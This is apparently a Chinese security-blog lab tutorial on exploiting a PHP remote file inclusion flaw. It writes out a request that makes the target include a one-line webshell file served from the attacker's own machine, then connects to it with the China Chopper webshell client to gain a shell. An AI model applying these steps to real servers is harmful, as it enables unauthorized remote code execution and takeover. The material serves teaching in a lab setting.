文件包含&一句话木马
原创
建哥聊安全
建哥聊安全
建哥聊安全
2026年11月9日 10:00
湖南
去阅读
免责声明:严格禁止对任何未授权系统/网络进行扫描、攻击或入侵。
禁止制作/传播恶意程序,禁止参与任何网络犯罪。如擅自将本文实验技术用于非法用途,一切法律后果及责任由行为人独立承担,与作者无关。
文件包含漏洞利用之远程包含Webshell
实验目的
通过本实验,通过远程文件包含漏洞包含远程Webshell,从而Getshell。
实验环境
· 操作机:Win10
用户名:Administrator
密码:Aa123!7890
· 靶机:Apache + PHP
· 实验地址:http://ip/include/include.php
实验原理
本地包含只能包含目标服务器本地已有的文件,若目标服务器本地不存在木马文件,则无法利用。因此可以借助远程文件包含漏洞,在操作机本地搭建Web服务器,远程包含木马文件Getshell。
实验步骤
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、打开\"phpStudy\",启动操作机的Apache服务
3、在操作机的Web根目录下新建shell.txt文件
4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt,并发送post数据测试一句话木马可以解析
5、打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
6、在空白处鼠标右击,点击“添加”,添加shell地址
· 地址为:一句话木马地址和连接密码
· 脚本类型:PHP
7、点击“添加”,双击一句话木马地址
实验总结
通过本实验,掌握在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。
创作不易,内容如对你有帮助,可以点个关注,转载时请务必注明原作者及原始出处链接,感谢配合。戳下面关注 ↓↓↓
更多学习资料点头像关注公众号,后台私信回复666即可领取视频学习资料。
推荐以下书籍配合实验一起理解,适用零基础想学习网安的小白!!
往期推荐:
紧急预警|PHP php2shell高危漏洞,无需认证可RCE!
PHP封装伪协议之一句话木马
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论